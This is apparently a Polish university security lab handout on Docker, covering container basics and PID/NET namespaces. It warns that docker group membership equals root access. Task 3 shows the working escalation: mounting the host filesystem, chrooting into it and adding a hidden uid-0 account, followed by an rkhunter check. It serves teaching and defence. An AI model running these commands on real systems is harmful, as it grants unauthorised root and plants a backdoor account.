Zabezpieczenie systemów i usług sieciowych
Laboratorium 3

Przygotowanie środowiska do zajęć polega na instalacji pakietów **docker.io, curl** (patrz laboratorium 1) na swoim serwerze ćwiczeniowym. Pracując na serwerach ćwiczeniowych używamy komendy sudo w celu podniesienia uprawnień.

Wprowadzenie

Celem ćwiczenia jest przybliżenie studentom modnej ostatnio technologii kontenerów aplikacyjnych oraz zasad bezpiecznego jej używania. Najbardziej rozpowszechnionym narzędziem wykorzystującym tą technologię obecnie jest docker. Korzysta on z 2 mechanizmów zawartych w jądrze systemu Linux: grup kontrolnych (cgroups) i przestrzeni nazw (namespaces). Mechanizmy te pozwalają kontrolować i limitować ilość zasobów używanych przez proces (cgroups) oraz separować procesy (namespaces). W porównaniu do wirtualizacji technologia ta jest dużo wydajniejsza ponieważ wszystkie uruchomione kontenery używają jądra systemu gospodarza. Nie ma więc narzutu na wirtualizację sprzętu i uruchomienie kolejnego systemu operacyjnego. Kontenery uruchamiane są z obrazów które są niczym innym jak archiwum z plikami aplikacji oraz ich zależnościami. Minusem jest to, że aplikacja w kontenerze musi być napisana pod system Linux (wsparcie natywne w Windows jest jeszcze niestabilne).

Linux oferuje wiele przestrzeni nazw i wszystkie są używane przez dockera my jednak skupimy się na 2 podstawowych PID oraz NET. Zobaczymy jak zachowuje się kontener przy aktywnych i nieaktywnych przestrzeniach nazw. Sprawdzimy także co może zrobić atakujący gdy uzyska możliwość swobodnego uruchamiania kontenerów na naszym systemie.

Zadanie 1 (*)

Celem zadania jest przedstawienie podstawowych komend do obsługi kontenerów. Uruchomienie najprostszego kontenera sprowadza się do wydania komendy:

```
sudo docker run -i -t busybox /bin/sh
```

Format to docker <komenda> <flagi> <nazwa_obrazu> <polecenie>. W naszym przypadku komendą jest run, flagami -i oraz -t (interactive oraz allocate tty), obrazem jest busybox, a komendą do wykonania /bin/sh. Po wykonaniu tej komendy widzimy zmianę znaku zachęty. Jesteśmy obecnie wewnątrz kontenera. Możemy się przekonać, że komendy systemu hosta już nie działają, nie ma na przykład apt-get. Wychodzimy z kontenera poprzez Ctrl+D co równocześnie go zamyka.

Jednak uruchamianie pojedynczych kontenerów w trybie interaktywnym nie jest typowym zastosowaniem tej technologii. Uruchommy kilka serwerów www umieszczonych w kontenerach i sprawdźmy jak zadziałają. W tym celu ładujemy obraz kontenera z przykładowym serwerem www:

```
curl https://zsius-pliki.justdoit.tech/hello_docker.tar | sudo docker load
```

następnie uruchamiamy kilka instancji tego kontenera z opcją -d (detached) i opublikowaniem portu tcp 80 wewnątrz kontenera jako porty 101, 102, 103 na hoście:

```
sudo docker run --name=s1 -d -p 101:80 hello_docker
sudo docker run --name=s2 -d -p 102:80 hello_docker
sudo docker run --name=s3 -d -p 103:80 hello_docker
```

weryfikujemy poprawność poprzez wydanie komendy:

```
sudo docker ps
```

jako wynik powinniśmy uzyskać listę uruchomionych kontenerów. Połączmy się teraz do naszych serwerów i zobaczmy czy działają:

```
curl http://127.0.0.1:101/dowolna/ścieżka
curl http://127.0.0.1:102/dowolna/ścieżka
curl http://127.0.0.1:103/dowolna/ścieżka
```

Powinniśmy uzyskać odpowiedź z każdego z nich. Do wyłączania kontenerów służy komenda docker stop jednak nie jest to wymagane podczas tego ćwiczenia, ponieważ przydadzą się nam w kolejnym zadaniu.

Zadanie 2

Celem zadania jest pokazanie różnic w pracy kontenera przy włączonych i wyłączonych PID i NET namespace. Wykonanie tego zadania jest bardzo proste i sprowadza się do wydania kolejno kilku poleceń oraz porównania i przeanalizowania wyników. Komendy do wykonania:

```
# wypisujemy procesy przy oddzielnych namespace
sudo docker run -it busybox ps -ef
# to samo przy pid namespace hosta
sudo docker run --pid=host -it busybox ps -ef
# jak wyżej ale dla namespace innego kontenera
sudo docker run --pid=container:s1 -it busybox ps -ef
# wypisujemy adres ip przy oddzielnym net namespace
sudo docker run -it busybox ip a
# przy net namespace hosta
sudo docker run --net=host -it busybox ip a
# przy net namespace innego kontenera
sudo docker run --net=container:s1 -it busybox ip a
```

Zadanie 3 (*)

Celem zadania jest pokazanie niebezpieczeństw wynikających z używania tej technologii. Kontenery gdy są używane rozsądnie podnoszą poziom bezpieczeństwa poprzez dodatkową warstwę izolacji. Należy jednak pamiętać, że pozwolenie innym na uruchamianie dowolnych kontenerów na naszych serwerach jest równoznaczne z przekazaniem im całkowitego dostępu do maszyny. Aby to zademonstrować umożliwimy użytkownikowi student uruchamianie kontenerów, a następnie użyjemy go aby dodać do systemu hosta kolejne konto z prawami użytkownika root. Na początek zezwalamy użytkownikowi student na używanie

dockera:

```
sudo usermod -aG docker student
```

Następnie aby odświeżyć informację o grupach:

```
exec su -l $USER
```

Teraz użytkownik student może używać komendy docker bez sudo. Dodajmy nowe konto z wyższymi uprawnieniami startując kontener z zamontowanym systemem plików hosta (flaga -v):

```
docker run -it -v /:/host:rw busybox /bin/sh
(wewnątrz kontenera) chroot /host
(wewnątrz kontenera) useradd -u 0 -o -m -s /bin/bash tajniak
(wewnątrz kontenera) passwd tajniak
```

po ustaleniu nowego hasła dwukrotnie wciskamy Ctrl+D aby powrócić do sesji użytkownika student na hoście. Teraz możemy sprawdzić nasze nowe konto root:

```
su - tajniak
id
```

Powinniśmy uzyskać informację w stylu:
uid=0(root) gid=1001(tajniak) groups=1001(tajniak)
Jak widać bez problemu uzyskaliśmy pełne prawa administracyjne na systemie hosta (nie wewnątrz kontenera) używając do tego kilku prostych poleceń. Dlatego niezwykle istotne jest maksymalne ograniczenie dostępu do docker daemon, zwłaszcza jeśli zezwalamy na uruchamianie kontenerów zdalnie co jest częste (i całkiem normalne) przy większych instalacjach.

Zadanie 4

Testujemy czy rkhunter wykrywa nowe problemy w naszym systemie. Tym razem powinniśmy zobaczyć kilka nowych ostrzeżeń. Komenda do wykonania:

```
sudo rkhunter -c --report-warnings-only
```

Podsumowanie

Technologia konteneryzacji użyta poprawnie może znacznie przyspieszyć pracę w firmie poprzez uproszczenie procedury instalacji nowych usług i ich aktualizacji. Dodatkowa warstwa izolacji pozwala na zwiększenie bezpieczeństwa. Jednakże należy być bardzo ostrożnym przy zezwalaniu użytkownikom na uruchamianie kontenerów. Jest to równoznaczne z przekazaniem im pełnego dostępu do serwera.